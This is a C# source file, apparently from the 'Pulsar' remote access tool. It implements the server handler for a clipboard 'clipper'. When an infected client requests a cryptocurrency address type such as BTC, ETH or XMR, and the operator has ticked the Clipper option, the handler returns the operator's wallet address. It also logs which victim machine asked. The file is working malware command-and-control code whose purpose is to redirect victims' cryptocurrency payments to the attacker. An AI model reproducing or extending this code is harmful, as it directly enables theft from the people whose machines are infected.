Files
PulsarK-main/Pulsar.Server/Messages/GetCryptoAddressHandler.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

74 lines
2.5 KiB
C#

using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Monitoring.Clipboard;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Networking;
using Pulsar.Server.Forms;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
using System.Windows.Forms;
namespace Pulsar.Server.Messages
{
// I literally copied all of this from another handler and shoved it in here
/// <summary>
/// Handles messages for the interaction with the remote client status.
/// </summary>
public class GetCryptoAddressHandler : MessageProcessorBase<object>
{
public delegate void AddressReceivedEventHandler(object sender, Client client, string addressType);
public event AddressReceivedEventHandler AddressReceived;
public GetCryptoAddressHandler() : base(true)
{
}
public override bool CanExecute(IMessage message) => message is DoGetAddress;
public override bool CanExecuteFrom(ISender sender) => true;
public override void Execute(ISender sender, IMessage message)
{
if (message is DoGetAddress addressMessage)
{
Execute((Client)sender, addressMessage);
}
}
private void Execute(Client client, DoGetAddress message)
{
AddressReceived?.Invoke(this, client, message.Type);
FrmMain frm = Application.OpenForms["FrmMain"] as FrmMain;
if (frm != null && frm.ClipperCheckbox.Checked)
{
var addressGetters = new Dictionary<string, Func<string>>
{
{ "BTC", frm.GetBTCAddress },
{ "LTC", frm.GetLTCAddress },
{ "ETH", frm.GetETHAddress },
{ "XMR", frm.GetXMRAddress },
{ "SOL", frm.GetSOLAddress },
{ "DASH", frm.GetDASHAddress },
{ "XRP", frm.GetXRPAddress },
{ "TRX", frm.GetTRXAddress },
{ "BCH", frm.GetBCHAddress }
};
if (!string.IsNullOrEmpty(message.Type) && addressGetters.TryGetValue(message.Type, out var getAddress))
{
string address = getAddress();
client.Send(new DoSendAddress
{
Address = address
});
}
FrmMain.AddNotiEvent(frm, client.Value.UserAtPc, "Requested crypto address", message.Type);
}
}
}
}